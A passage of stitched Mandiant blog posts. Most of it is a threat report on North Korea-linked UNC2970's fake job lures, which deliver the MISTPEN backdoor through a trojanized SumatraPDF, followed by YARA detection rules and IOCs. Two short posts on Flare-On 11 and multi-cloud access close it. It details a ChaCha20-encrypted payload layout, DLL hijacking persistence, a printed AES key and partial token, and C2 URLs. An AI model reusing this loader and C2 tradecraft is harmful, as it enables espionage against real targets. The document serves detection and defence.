?? 00 00 0A } $a2 = { FE 09 00 00 6F ?? 00 00 0A FE 0E 00 00 FE 0C 00 00 20 02 00 00 00 5B 8D ?? 00 00 01 FE 0E 01 00 20 00 00 00 00 FE 0E 06 00 38 39 00 00 00 FE 0C 01 00 FE 0C 06 00 20 02 00 00 00 5B FE 09 00 00 FE 0C 06 00 20 02 00 00 00 6F ?? 00 00 0A 20 10 00 00 00 28 ?? 00 00 0A 9C FE 0C 06 00 20 02 00 00 00 58 FE 0E 06 00 FE 0C 06 00 FE 0C 00 00 FE 04 FE 0E 07 00 FE 0C 07 00 3A B0 FF FF FF } condition: uint16(0) == 0x5A4D and any of them } rule M_Autopatt_DropperMemonly_OATBOAT_1 { meta: author = "autopatt" description = "oatboat malware family" created = "02/09/2024" modified = "02/09/2024" version = "1.0" strings: $p00_0 = {48897c24??55488bec4883ec??488bf9c745[5]33d bc745[5]488d4d} $p00_1 = {443ac975??48ffc64883c3??493bf372??498b42??4885c075} condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and ( ($p00_0 in (250..6500) and $p00_1 in (0..6000)) ) } rule SASHEYAWAY_Strings_1 { meta: desc = "Strings observed in the webshell loader" rs1 = "2538767f13218503bccf31fccb74e753199 4b69a36a3780b53ba5020d938af20" strings: $ = "FromBase64String" $ = "Page Language=\"C#\"" $ = "private static System.Reflection.Assembly" $ = "Page_Load" $ = "System.Reflection.MethodInfo" $ = "Activator.CreateInstance" $ = "Invoke" condition: all of them } rule M_Hunting_Backdoor_TOFULOAD_1 { meta: author = Mandiant date_created = "2023-08-15" date_modified = "2023-08-15" description = "This is a hunting rule to look for TOFULOAD backdoor used by UNC1860" md5 = "d1ce3117060e85247145c82005dda985" strings: $s1 = {66 77 88 99 48 8D [2] C7 [2] 52 74 6C 52} // 0x99887766; LEA ??, ??; MOV ??, 'RltR'; $s2 = {B8 E1 83 0F 3E F7 [1] C1 [1] 03 0F [2] 6B [1] 21} // MOV ??, 0x3E0F83E1; MUL ??, ??; SHR ??, 03; MOVZX ??, ??; IMUL ??, ??, 21; $s3 = {FF [1] 40 [2] 43 32 [2] 41 88 [3] 44 8B [1] 4D [2] 7C} // INC ??; MOV ??, ??; XOR ??, ??; MOV ??, ??; MOV ??, ??; CMP ??, ??; JL condition: filesize < 50KB and any of them } import "dotnet" rule M_UNC1860_TEMPLEDROP_Strings_2 { meta: author = Mandiant date = "28/02/2024" hash1 = "6d3041b89484c273376e5189e190d235" desc = "Detects the TEMPELDROP family based on unique strings" comment = "Triggers on TEMPLEDOOR controller sample c517519 097bff386dc1784d98ad93f9d" strings: $a1 = "Nothing changed :D" wide fullword $a2 = "Access: KO" wide fullword $a3 = "Eventlog stoped." wide fullword $b1 = "The Microsoft Exchange Self Protection Driver." wide fullword $b2 = "The Microsoft Exchange Filter Driver." wide fullword $c1 = "Create RegKey: " wide $c2 = "Create Service: " wide $c3 = "Test Event lock: " wide $c4 = "Test http listner: " wide $c5 = "Test IO Changes: " wide $c6 = "Test 'Event lock': " wide $d1 = "no active http port to listen." wide $d2 = "Prefixes.Add Error , " wide $d3 = "' driver service created and started." wide $d4 = "' service started." wide $d5 = "Unhandled exception on create reg key " wide $d6 = "Failed to change file 'CreationTime'." wide condition: int16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and dotnet.is_dotnet and ( 1 of ($a*) or 1 of ($b*) or 2 of ($c*) or 2 of ($d*) ) } rule M_Autopatt_Backdoor_TOFUDRV_1 { meta: author = Mandiant description = "tofudrv malware family" created = "11/29/2023" modified = "11/29/2023" version = "1.0" strings: $p00_0 = {eb??33c083f8??0f85[4]488b4c24??e8[4]eb??c74424[5]eb} $p00_1 = {f3aa41b8[4]33d2488d4c24??e8[4]488b8424[4]48898424[4]48638424[4]48898424} condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and ( ($p00_0 in (34000..45000) and $p00_1 in (28000..39000)) ) } import "pe" rule M_TOFUDRV_Strings_1 { meta: author = Mandiant hash = "b4b1e285b9f666ae7304a456da01545e" desc = "Detects cleartext strings that appear in the TOFUDRV image" strings: $a1 = "\\systemroot\\system32\\drivers" ascii fullword $a2 = "\\SafeBoot\\Minimal\\" ascii fullword $a3 = "\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control" ascii fullword $a4 = "\\SafeBoot\\Network\\" ascii fullword $a5 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ascii fullword $a6 = "Found" ascii fullword condition: uint16(0) == 0x5A4D and filesize < 500KB and pe.subsystem == pe.SUBSYSTEM_NATIVE and ( 3 of them or pe.imphash() == "ff6f16b00c9f36b32cd60fecd4dfc8e9" ) } import "pe" rule M_TOFUDRV_RtlSubtreeStackStrings_1 { meta: author = Mandiant hash = "b4b1e285b9f666ae7304a456da01545e" desc = "Detects a stack string byte pattern in a function intended to resolve the memory image base of ntoskrnl.exe in TOFUDRV" strings: // "RtlSubtreePredecessor" $a1 = { C6 44 24 ?? 52 C6 44 24 ?? 74 C6 44 24 ?? 6C C6 44 24 ?? 53 C6 44 24 ?? 75 C6 44 24 ?? 62 C6 44 24 ?? 74 C6 44 24 ?? 72 C6 44 24 ?? 65 C6 44 24 ?? 65 C6 44 24 ?? 50 C6 44 24 ?? 72 C6 44 24 ?? 65 C6 44 24 ?? 64 C6 44 24 ?? 65 } // "RtlSubtreeSuccessor" $a2 = { C6 84 24 ?? 00 00 00 6C C6 84 24 ?? 00 00 00 53 C6 84 24 ?? 00 00 00 75 C6 84 24 ?? 00 00 00 62 C6 84 24 ?? 00 00 00 74 C6 84 24 ?? 00 00 00 72 C6 84 24 ?? 00 00 00 65 C6 84 24 ?? 00 00 00 65 C6 84 24 ?? 00 00 00 53 C6 84 24 ?? 00 00 00 75 } $KeGetPcr = { 65 48 8B 04 25 18 00 00 00 48 89 44 24 } condition: uint16(0) == 0x5A4D and filesize < 500KB and pe.subsystem == pe.SUBSYSTEM_NATIVE and $KeGetPcr and any of ($a*) } rule M_Dropper_MSIL_TEMPLESHOT_1 { meta: author = Mandiant date_created = "2020-05-22" date_modified = "2020-05-22" md5 = "6d3041b89484c273376e5189e190d235" rev = 2 strings: $ss1 = "--install" fullword wide $ss2 = "' directory created." fullword wide $ss3 = "' file created." fullword wide $ss4 = "' service created." fullword wide $ss5 = "Nothing changed :D" fullword wide $ss6 = "\x00ProtectDriver\x00" $ss7 = "\x00WriteAllBytes\x00" $ss8 = "\x00CopyTime\x00" $ss9 = "T\x00V\x00q\x00Q\x00" condition: ( uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 ) and all of them } rule M_Backdoor_MSIL_TEMPLESHOT_2 { meta: author = Mandiant date_created = "2020-05-22" date_modified = "2020-05-22" md5 = "a991bdbf1e36d7818d7a340a35a4ea26" rev = 2 strings: $sb1 = { 02 7B [2] 00 04 [0-8] FE 03 [0-8] 39 [4-8] 02 7B [2] 00 04 [5] 0? 02 7B [2] 00 04 [5-12] 0C } $sb2 = { 7B [2] 00 04 [0-16] 13 ?? 11 [1-8] 17 59 45 04 00 00 00 02 [4-64] 2B ?? 02 [1-2] 7B [2] 00 04 73 [2] 00 06 28 [2] 00 06 0A 2B ?? 02 [1-2] 7B [2] 00 04 73 [2] 00 06 28 [2] 00 06 [0-4] 0A 2B } $ss1 = "\x00set_UseShellExecute\x00" $ss2 = "\x00HttpListenerRequest\x00" $ss3 = "\x00HttpListenerResponse\x00" $ss4 = "\x00HttpListener\x00" condition: ( uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 ) and all of them } rule M_Backdoor_MSIL_TEMPLESHOT_1 { meta: author = Mandiant date_created = "2020-05-22" date_modified = "2020-05-22" md5 = "952482949f495fb66e493e441229ae4b" rev = 2 strings: $sb1 = { 06 17 7D [4] 06 20 36 01 00 C0 7D [4] DE 00 07 15 3B [4] 07 28 [4-12] 0D [8-64] 11 06 [4-12] 13 07 11 07 39 [4-32] 20 FF FF 1F 00 12 09 [0-12] 11 09 12 0A [4-12] 12 0A 11 07 } $ss1 = "\x00GetProcessById\x00" $ss2 = "\x00NtOpenThread\x00" $ss3 = "\x00NtQueryInformationThread\x00" $ss4 = "\x00ReadProcessMemory\x00" $ss5 = "\x00NtTerminateProcess\x00" $ss6 = "\x00set_UseShellExecute\x00" $ss7 = "\x00DESCryptoServiceProvider\x00" $ss8 = "\x00GetExecutingAssembly\x00" condition: ( uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 ) and all of them }

Written by: Marco Galli, Diana Ion, Yash Gupta, Adrian Hernandez, Ana Martinez Gomez, Jon Daniels, Christopher Gardner

Introduction

In June 2024, Mandiant Managed Defense identified a cyber espionage group suspected to have a North Korea nexus, tracked by Mandiant under UNC2970. Later that month, Mandiant discovered additional phishing lures masquerading as an energy company and as an entity in the aerospace industry to target victims in these verticals.

UNC2970 targets victims under the guise of job openings, masquerading as a recruiter for prominent companies. Mandiant has observed UNC2970 copy and tailor job descriptions to fit their respective targets.

UNC2970 engaged with the victim over email and WhatsApp and ultimately shared a malicious archive that is purported to contain the job description in PDF file format. The PDF file has been encrypted and can only be opened with the included trojanized version of SumatraPDF to ultimately deliver MISTPEN backdoor via BURNBOOK launcher. 

Mandiant observed UNC2970 modify the open source code of an older SumatraPDF version as part of this campaign. This is not a compromise of SumatraPDF, nor is there any inherent vulnerability in SumatraPDF. Upon discovery, Mandiant alerted SumatraPDF of this campaign for general awareness.

Overview

UNC2970 relies on legitimate job description content to target victims employed in U.S. critical infrastructure verticals. The job description is delivered to the victim in a password-protected ZIP archive containing an encrypted PDF file and a modified version of an open-source PDF viewer application.  

Mandiant noted slight modifications between the delivered job descriptions and their originals, including the required qualifications, experience and skills, likely to better align with the victim's profile. Moreover, the chosen job descriptions target senior-/manager-level employees. This suggests the threat actor aims to gain access to sensitive and confidential information that is typically restricted to higher-level employees.

To illustrate this, Mandiant analyzed the differences between the original job description and UNC2970's job description included in the ZIP archive.

Figure 1: Page 1 of PDF lure

For example, under the "Required Education, Experience, & Skills" section, the original post mentions "United States Air Force or highly comparable experience," while the malicious PDF omits this line. Another omitted line is under the "Preferred Education, Experience, & Skills" section, where the original job description includes "Preferred location McLean, Virginia."

Figure 2: Original vs. modified

Additionally, Mandiant discovered a similar ZIP archive that was uploaded to VirusTotal, having an identical structure, but containing a different job description. The PDF content is consistent with a legitimate job description from the nuclear energy sector.

The Infection Chain Explained

Mandiant Managed Defense discovered that the victim downloaded and opened a password protected ZIP archive received through WhatsApp chat, expecting to see a document containing a job description. Upon analysis, the ZIP archive contains several files, briefly described in Table 1:

File

Description

BAE_VICE President of Business Development.pdf

(MD5: 28a75771ebdb96d9b49c9369918ca581)

An encrypted file containing both the PDF lure displayed to the user and the MISTPEN backdoor

libmupdf.dll

(MD5: 57e8a7ef21e7586d008d4116d70062a6)

A trojanized dynamic-link library (DLL) file required by SumatraPDF.exe, tracked as BURNBOOK. This file is a dropper for an embedded DLL, "wtsapi32.dll", which is tracked as TEARPAGE and used to execute the MISTPEN backdoor after the system is rebooted.

PdfFilter.dll

(MD5: cefc7b6e95f5a985b7319021441ae4e7)

A legitimate DLL file required by SumatraPDF.exe

PdfPreview.dll

(MD5: 2505610c490d24a98da730100175f262)

A legitimate DLL file required by SumatraPDF.exe

SumatraPDF.exe

(MD5: 91841e006225ac500de7630740a21d91)

A legitimate open-source PDF viewer application component, version 3.3.3

Table 1: Files in ZIP archive received through WhatsApp chat

Based on the surrounding context, the user was likely instructed to open the PDF file with the enclosed trojanized PDF viewer program based on the open-source project SumatraPDF. As previously stated, this technique did not employ a vulnerability in the original SumatraPDF source code.

SumatraPDF is an open-source document viewing application that is capable of viewing multiple document file formats such as PDF, XPS, and CHM, along with many more. Its source code is publically available. 

When accessed this way, the DLL files are loaded by the SumatraPDF.exe executable, including the trojanized libmupdf.dll file representing the first stage of the infection chain. This file is responsible for decrypting the contents of BAE_Vice President of Business Development.pdf, thus allowing the job description document to be displayed as well as loading into memory the payload named MISTPEN. Mandiant found that later versions (after 3.4.3) of SumatraPDF implement countermeasures to prevent modified versions of this DLL from being loaded.

MISTPEN is a trojanized version of a legitimate Notepad++ plugin, binhex.dll, which contains a backdoor.

Libmupdf.dll also writes the encrypted backdoor to disk into a new file named thumbs.ini and creates a scheduled task named Sumatra Launcher to execute the backdoor daily using the legitimate Windows binary BdeUISrv.exe, which loads the wtsapi32.dll file through DLL search-order hijacking.

Figure 3: Infection lifecycle diagram

Analysis of BURNBOOK (libmupdf.dll)

BURNBOOK is a launcher written in C/C++ that is capable of executing an encrypted payload stored in a file and writing it to disk. 

This file is a modified version of a legitimate DLL file used by the SumatraPDF.exe binary. The DLL contains malicious code that is triggered when the user opens the PDF lure (BAE_Vice President of Business Development.pdf) using the provided SumatraPDF.exe file.

BAE_Vice President of Business Development.pdf has the following structure and contents:

File Offset

Value Description

0x0 - 0x7

Offset used to determine the end of the encrypted PDF file

0x8 - 0x27

ChaCha20 key

0x28 - 0x33

ChaCha20 nonce

0x34 - [PDF Offset]

Encrypted PDF file

0x4DF1D - 0x4DF24

Size of the encrypted DLL

0x4DF25 - EOF

Encrypted DLL

Table 2: PDF lure structure and contents Phase 1: Initial Setup and Decryption

The sample commences by reading the first 8 bytes of the PDF file, storing this value as a marker to determine the end of the embedded encrypted PDF file. The next 32 bytes (key) and 12 bytes (nonce) are read from the file and used to initialize a ChaCha20 cipher. The cipher's initial state is stored in memory.

Figure 4: The ChaCha20 cipher is initialized

The remaining bytes (starting from offset 0x34 and looping until the PDF offset is reached) are decrypted in chunks of 0x1000 (4096) bytes using the ChaCha20 cipher. The decrypted data, representing a PDF file, is written to the system's temporary folder and will be displayed by the PDF viewer if the sample passes a network connectivity check to google[.]com.

Figure 5: The embedded PDF file is decrypted using the cipher

Phase 2: Backdoor Extraction and Execution

Upon reaching the offset retrieved in the first phase, the function reads 8 bytes signifying the size of the encrypted backdoor DLL, which is subsequently read from the file. The same ChaCha20 cipher (without resetting) is used to decrypt the backdoor DLL, which is then reflectively loaded into the memory space of SumatraPDF.exe and executed.

Figure 6: The backdoor DLL (MISTPEN) is decrypted

Phase 3: Persistence and Re-Encryption

The sample extracts wtsapi32.dll from its resource section and copies BdeUISrv.exe from the System32 directory, placing both files in the %APPDATA%\Microsoft\BDE UI Launcher directory for persistence. Following this, the ChaCha20 cipher is reset, with the original key and nonce being reused to re-encrypt the in-memory DLL containing the backdoor code. The re-encrypted data, along with the key and nonce, are written to %APPDATA%\Thumbs.ini. These steps ensure that Thumbs.ini and the PDF file both contain the same encrypted DLL but with different ciphertexts.

Finally, the sample creates a scheduled task named Sumatra Launcher, which executes %APPDATA%\Microsoft\BDE UI Launcher\BdeUISrv.exe daily when the user logs in. This is further discussed under the analysis of TEARPAGE.

Analysis of MISTPEN

MISTPEN is a lightweight backdoor written in C whose main functionality is to download and execute Portable Executable (PE) files.

The backdoor is a modification of the open-source Notepad++ binhex plugin v2.0.0.1 where the creation of a thread that executes the malicious code has been added to the DllMain function.

MISTPEN decrypts a token using AES with the key EF 0D 4E A6 D8 B8 E8 73 DF 17 5C 0B 51 F6 3B 33, which is then used to access a Microsoft API endpoint in the following request:

Request type: POST Request URI: https://login.microsoftonline.com/common/oauth2/v2.0/token" Body: grant_type=refresh_token &refresh_token=0.AScAuGeUx8-5OkufugCaUtV EuwXupyYCVnZNp7rq6Le2eUEnAME.AgABAwEAAADnfolhJpSnRYB1SVj-Hgd8 AgDs_wUA9P_z3EI-It1YbdHPtZaMoegHpfKNHgO9rjjC9plVmHfYhva9utOdkzbp o-p4m5uoLzuQu9kJmCqXpdDteicUF5Fd7XfcVBpe5Vu1TOhxQoP-k1HJmiLRg GcdzWMa3aYVzdfnNsAlV8n-061gnUDKNxHYL4xTz1jymmhRGzZ1KOOiJLs7e j0A8fMNSqvTwp_UF7upYw5yI81UTRsBN9hbpGpLnMb_WIOMvX-Bcm3CtCHjf Lzij1n... <REDACTED>

This MISTPEN sample communicates over HTTP with the following Microsoft Graph URLs:

• hxxps[:]//login[.]microsoftonline[.]com/common/oauth2/v2.0/token

• hxxps[:]//graph[.]microsoft[.]com/v1.0/me/drive/root:/path/upload/hello/

• hxxps://graph.microsoft[.]com/v1.0/me/drive/root:/path/upload/world/

• hxxps://graph.microsoft[.]com/v1.0/me/drive/items/

The backdoor reads configuration data from the file setup.bin if it exists within the same directory. The configuration data includes the sleep time and an ID. The backdoor sleeps for the configured time and sends the message "Hi,I m just woke up!" to its command-and-control (C2 or C&C) server.

Otherwise, the backdoor generates a random hexadecimal ID and sends the time and timezone to its C2. If the backdoor fails to get the time information, the backdoor sends the message "Hi,I am New" to its C2 instead.

On the infected host, Mandiant observed a suspicious network connection from the SumatraPDF.exe process towards a compromised SharePoint domain belonging to a university. As this connection occurred after MISTPEN execution, Mandiant assesses that the SharePoint URL was part of the in-memory execution of payloads sent to the backdoor after establishing communication with the C2, leaving no other traces on disk.

The backdoor includes code to support more than one token, selecting randomly the one to use.

Backdoor Commands

The backdoor supports the following commands:

• d: The backdoor parses, loads into memory, and executes the received PE payload. The backdoor sends a message to its C2 that contains the result from the executed code or the string: "Loaded at <p>" where <p> is a hexadecimal address.

• e: The backdoor sends the message "DEAD" to its C2 and terminates the process.

• f: The backdoor sends the message "Sleep Success" to its C2, sleeps for the specified time, and sends the message "Hi,I m just woke up!" to its C2.

• g: The backdoor sends the message "Hiber Success" to its C2 , updates the sleep time in the configuration with the received time, writes its configuration to setup.bin, and sleeps for the configured time.

Analysis of TEARPAGE (wtsapi32.dll)

TEARPAGE, a loader embedded within the resource section of BURNBOOK, is loaded through DLL search order hijacking by the legitimate BdeUISrv.exe binary copied by the malware from its original location to the directory containing the loader. TEARPAGE decrypts an encrypted blob contained in the file %APPDATA%\Thumbs.ini. Table 3 describes the structure of this file:

File Offset

Value Description

0x0 - 0x1F

ChaCha20 key

0x20 - 0x2B

ChaCha20 nonce

0x2C - EOF

Encrypted backdoor DLL

Table 3: %APPDATA%\Thumbs.ini structure

The sample retrieves the initial 32 bytes and the subsequent 12 bytes from %APPDATA%\Thumbs.ini, utilizing these values as the key and nonce respectively for the initialization of a ChaCha20 cipher. This cipher is then employed to decrypt the remaining contents of the file.

The resulting decrypted output is the MISTEPN backdoor, which is subsequently reflectively loaded into the memory space of BdeUISrv.exe and executed.

Figure 7: A pseudocode representation of the malicious code in wtsapi32.dll

Sample Comparison

Through open-source investigation, Mandiant identified a similar malicious archive containing the same SumatraPDF.exe binary; however, there are a few key differences in the BURNBOOK and MISTPEN samples as compared to specimens analyzed earlier in the post. Moreover, this second archive was created prior to the one discussed throughout this blog post. By highlighting the noticeable differences, we can clearly see an evolution in malware capabilities and stealthiness.

Missing Internet Connectivity Check in BURNBOOK

The BURNBOOK sample we analyzed includes a network connectivity check that prevents the trojanized reader from displaying the decrypted PDF lure if it cannot reach google[.]com. This feature is not present in the earlier sample.

Figure 8: BURNBOOK earlier version

Figure 9: BURNBOOK later version with connection check

Missing Command g in MISTPEN

The MISTPEN sample we analyzed supports the g command, which instructs the backdoor to save its configuration to a file named setup.bin. This file is also read by the backdoor when it first executes and thus allows MISTPEN to make its configuration persistent on the host. The earlier sample does not support  this command, does not reference setup.bin, and does not save its configuration to disk.

Different C2 Infrastructure

The MISTPEN sample delivered by the earlier malicious archive does not communicate using Microsoft Graph and instead employs a set of HTTPS URLs consisting of compromised WordPress websites belonging to small businesses from across the world:

• hxxps://bmtpakistan[.]com/solution/wp-content/plugins/one-click-demo-import/assets/asset.php — Construction company in Karachi, Pakistan

• hxxps://cmasedu[.]com/wp-content/plugins/kirki/inc/script.php — Education service company based in Riyadh, Saudi Arabia

• hxxps://dstvdtt.co[.]za/wp-content/plugins/social-pug/assets/lib.php — Television installation company in South Africa

Furthermore, the d function in the earlier MISTPEN sample has a different implementation that uses an additional HTTP request in order to receive and parse PE files from the C2 server.

The usage of the AES encryption is also different in the two samples observed. The earlier sample uses AES to decrypt HTTPS URLs, while the later sample uses it to decrypt the token used to access the Microsoft Graph API.

Based on the differences we have highlighted, the threat actor has improved their malware over time by implementing new features and adding a network connectivity check to hinder the analysis of the samples.

Threat Actor Spotlight: UNC2970

In June 2024, Mandiant Managed Defense responded to an intrusion leveraging a job-themed phishing email to social engineer a victim to download a malicious archive from WhatsApp. The archive contained both the job description specifics and the implant components targeting a multinational energy company. 

Mandiant Managed Defense has reported similar activity in 2022 attributed to UNC4034, which later got merged into UNC2970.

UNC2970 is a cyber espionage group tracked by Mandiant since 2021 suspected to have a North Korea nexus. This threat actor's activities overlap with those of TEMP.Hermit, a threat actor conducting collections of strategic intelligence aligned with North Korean interests that has been active since at least 2013.

Mandiant has observed UNC2970 targeting victims located in the United States, United Kingdom, The Netherlands, Cyprus, Sweden, Germany, Singapore, Hong Kong, and Australia.

Acknowledgements

Martin Co, Muhammad Umer Khan, Mike Stokkel 

Detection Opportunities

A Google Threat Intelligence Collection featuring indicators of compromise (IOCs) related to the activity described in this post is now available for registered users.

YARA Rules rule M_Launcher_BURNBOOK_1 { meta: author = "Mandiant" date_created = "2024-08-12" date_modified = "2024-08-12" md5 = "8c2302c2d43ebe5dda18b8d943436580" rev = 1 strings: $pk_magic = { 50 4B 03 04 } $cd_magic = { 50 4B 01 02 } $n1 = "libmupdf.dll" $n2 = ".pdf" $n3 = "PdfFilter.dll" $n4 = "PdfPreview.dll" $n5 = "SumatraPDF.exe" condition: uint32(0) == 0x04034b50 and for any i in (2 .. #pk_magic) : ( ($n1 in (@pk_magic[i] + 30 .. @pk_magic[i] + 30 + uint16(@pk_magic[i] + 26))) and ($n1 in (@cd_magic[i] + 46 .. @cd_magic[i] + 46 + uint16(@cd_magic[i] + 28))) ) and for any i in (2 .. #pk_magic) : ( ($n2 in (@pk_magic[i] + 30 .. @pk_magic[i] + 30 + uint16(@pk_magic[i] + 26))) and ($n2 in (@cd_magic[i] + 46 .. @cd_magic[i] + 46 + uint16(@cd_magic[i] + 28))) ) and for any i in (2 .. #pk_magic) : ( ($n3 in (@pk_magic[i] + 30 .. @pk_magic[i] + 30 + uint16(@pk_magic[i] + 26))) and ($n3 in (@cd_magic[i] + 46 .. @cd_magic[i] + 46 + uint16(@cd_magic[i] + 28))) ) and for any i in (2 .. #pk_magic) : ( ($n4 in (@pk_magic[i] + 30 .. @pk_magic[i] + 30 + uint16(@pk_magic[i] + 26))) and ($n4 in (@cd_magic[i] + 46 .. @cd_magic[i] + 46 + uint16(@cd_magic[i] + 28))) ) and for any i in (2 .. #pk_magic) : ( ($n5 in (@pk_magic[i] + 30 .. @pk_magic[i] + 30 + uint16(@pk_magic[i] + 26))) and ($n5 in (@cd_magic[i] + 46 .. @cd_magic[i] + 46 + uint16(@cd_magic[i] + 28))) ) } rule M_Launcher_BURNBOOK_2 { meta: author = "Mandiant" date_created = "2024-08-12" date_modified = "2024-08-12" md5 = "57e8a7ef21e7586d008d4116d70062a6" rev = 1 strings: $parse_decoy_document = { FF 15 [4-32] 41 B8 08 00 00 00 [4-32] FF 15 [4] 85 C0 0F 8? [4-32] 48 83 ?? 08 48 3B ?? 0F 8? [4-32] 41 B8 20 00 00 00 [4-32] FF 15 [4] 85 C0 0F 8? [4-32] 41 B8 0C 00 00 00 [4-32] FF 15 [4] 85 C0 0F 8? } $chacha_marker = { 65 78 70 61 [0-12] 6E 64 20 33 [0-12] 32 2D 62 79 [0-12] 74 65 20 6B } condition: all of them } rule M_APT_Backdoor_MISTPEN_2 { meta: author = "Mandiant" date_created = "2024-08-13" date_modified = "2024-08-13" md5 = "eca8eb8871c7d8f0c6b9c3ce581416ed" rev = 1 strings: $s1 = "Cookie: _PHPSESSIONID=" $s2 = "%d_%s_%d" $s3 = "DEAD" fullword $s4_sleep_succcess = { 53 6C 65 65 [1-16] 70 20 53 75 [1-16] 63 63 65 73 [1-16] 73 00 } $s5_hiber_success = { 48 69 62 65 [1-16] 72 20 53 75 [1-16] 63 63 65 73 [1-16] 73 00 } $s6 = "Loaded at %p" $s7 = "setup.bin" wide $send_DEAD_signal = { 8B 05 [4] 48 C7 ?? FF FF FF FF 89 45 ?? 0F B6 05 [4] 88 45 ?? 4? 8D [2-64] B9 40 00 00 00 FF 15 [4-8] 8? ?? 01 [1-32] 48 8D 48 08 E8 } $const_marker = { 83 E3 09 81 C3 11 27 00 00 } condition: (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (6 of them or ($s1 and $s2 and $s3 and $s6)) } rule M_APT_Launcher_TEARPAGE_1 { meta: author = "Mandiant" date_created = "2024-08-13" date_modified = "2024-08-13" md5 = "006cbff5d248ab4a1d756bce989830b9" rev = 1 strings: $load_encrypted_payload = { FF 15 [4-8] 83 F8 2C 0F 8? [4-32] 41 B8 20 00 00 00 [4-12] FF 15 [4] 85 C0 0F 8? [4-32] 41 B8 0C 00 00 00 [4-12] FF 15 [4] 85 C0 0F 8? [4-32] 83 C6 D4 B9 40 00 00 00 [2-16] FF 15 } $chacha_marker = { 65 78 70 61 [0-12] 6E 64 20 33 [0-12] 32 2D 62 79 [0-12] 74 65 20 6B } $load_pe = { 81 3C [1-3] 50 45 00 00 [1-8] 8B [1-3] 50 [4-32] B9 FF FF 1F 00 [2-16] FF 15 [4-64] C7 44 24 [1-8] 40 00 00 00 C7 44 24 [1-8] 00 30 00 00 41 FF D? 85 C0 0F 8? } condition: all of them } YARA-L Rules

Mandiant has made the relevant rules available in the Google SecOps Mandiant Intel Emerging Threats curated detections rule set. The activity discussed in the blog post is detected under the rule names:

• BURNBOOK Related Files Dropping Activity

• BURNBOOK C2 Callout Activity

• BURNBOOK Payload Dropping Activity

Indicators of Compromise Host-Based IOCs

IOC

MD5

Associated Malware Family

BAE_Vice President
of Business Development.pdf

28a75771ebdb96d9b49c9369918ca581

Encrypted PDF containing MISTPEN payload

libmupdf.dll

57e8a7ef21e7586d008d4116d70062a6

f3baee9c48a2f744a16af30220de5066

BURNBOOK

%APPDATA%\Roaming\Microsoft\BDE
UI Launcher\wtsapi32.dll

006cbff5d248ab4a1d756bce989830b9

TEARPAGE

%APPDATA%\Roaming\Thumbs.ini 

0b77dcee18660bdccaf67550d2e00b00

b707f8e3be12694b4470255e2ee58c81

MISTPEN

binhex.dll

cd6dbf51da042c34c6e7ff7b1641837d

eca8eb8871c7d8f0c6b9c3ce581416ed

MISTPEN

Network-Based IOCs

URL

hxxps://graph.microsoft[.]com/v1.0/me/drive/root:/path/upload/world/266A25710006EF92

heropersonas[.]com

hxxps://dstvdtt.co[.]za/wp-content/plugins/social-pug/assets/lib.php

hxxps://cmasedu[.]com/wp-content/plugins/kirki/inc/script.php

hxxps://bmtpakistan[.]com/solution/wp-content/plugins/one-click-demo-import/assets/asset.php

hxxps://verisoftsystems[.]com/wp-content/plugins/optinmonster/views/upgrade-link-style.php

hxxps://www.clinicabaru[.]co/wp-content/plugins/caldera-forms/ui/viewer-two/viewer-2.php

Written by: Nick Harbour

When it's pumpkin spice season, that means it's also Flare-On Challenge season. The Flare-On Challenge is a reverse engineering contest held every year by the FLARE team, and this marks its eleventh year running. It draws thousands of players from around the world every year, and is the foremost single-player CTF-style challenge for current and aspiring reverse engineers. It provides individual players with a gauntlet of increasingly challenging puzzles to test their ability, and earn a position in our hall of fame. Veteran competitors who have been following the live countdown over at flare-on.com may have already marked their calendar for the contest launch at 8:00pm ET on Sept. 27th, 2024. It will run for six weeks, ending at 8:00pm ET on Nov. 8th, 2024.

The Flare-On contest always features a diverse array of architectures, but with a strong representation of Windows binaries. This year’s contest may be the most diverse ever, with 10 challenges covering architectures including Windows, Linux, JavaScript, .NET, YARA, UEFI, Verilog, and Web3. Yes, you read that correctly, there is a YARA challenge this year. The challenges are often designed to represent Reverse Engineering challenges the FLARE team has encountered on the frontlines of cybersecurity.

If you successfully crush all 10 challenges you will be eligible to receive a prize, which will be revealed later. This crucial bit of gear will distinguish you from your colleagues who have not mastered the arcane art of Reverse Engineering, and will thus be an object of their envy. Your name or handle, should you choose to be included, will be permanently etched into the Hall of Fame on the Flare-On website. 

Please check the Flare-On website for the live countdown and, upon launch, the link to the game server. Early account registration will open approximately two days before launch. While you’re there, check out last year’s challenges and official solutions to prepare yourself. For official news and information, we will be using the Twitter/X hashtag #flareon11.

Written by: Rupanjana Mukherjee, Jon Sabberton

In the era of multi-cloud adoption, where organizations leverage diverse cloud platforms to optimize their operations, a new wave of security challenges have emerged. The expansion of attack surfaces beyond traditional on-premises environments, coupled with complex permission structures and the prevalence of overly permissive accounts, has created fertile ground for sophisticated cyberattacks.

Our white paper, Standardizing Privileged Access Architecture for Multi-Cloud, explores the critical risks associated with multi-cloud environments, and provides a practical framework for establishing a robust security posture.

This Mandiant paper delves into the intricacies of managing disparate cloud identities, roles, and access control models, highlighting the vulnerabilities that arise from misconfigurations and fragmented security practices. Additionally, this paper examines real-world attack scenarios observed by Mandiant, demonstrating how threat actors exploit these weaknesses to compromise sensitive data, disrupt operations, and gain unauthorized control.

To counter these evolving threats, Mandiant introduces a cloud agnostic tiered security model revolving the following controls, to protect privileged access to critical assets in the cloud:

• Resource tiering within cloud platforms 

• Limiting lateral movement through credential tiering

• Enforcing strict access controls through a zero-trust approach  

• Apply scalable security configurations and governance for all resources

• Consistent monitoring and analytics practices

This paper discusses an architecture for cloud agnostic tiering, and how it will help protect a hybrid multi-cloud environment from various modern cyberattacks. By implementing the proactive measures outlined in this paper, organizations can effectively mitigate risks associated with a hybrid multi-cloud environment, limit paths of lateral movement, and protect their critical assets in the dynamic multi-cloud landscape.

For organizations exploring multi-cloud deployments and those attempting to secure their current cloud resources, this paper serves as a vital guidance to harden their environment against cloud-based attacks.

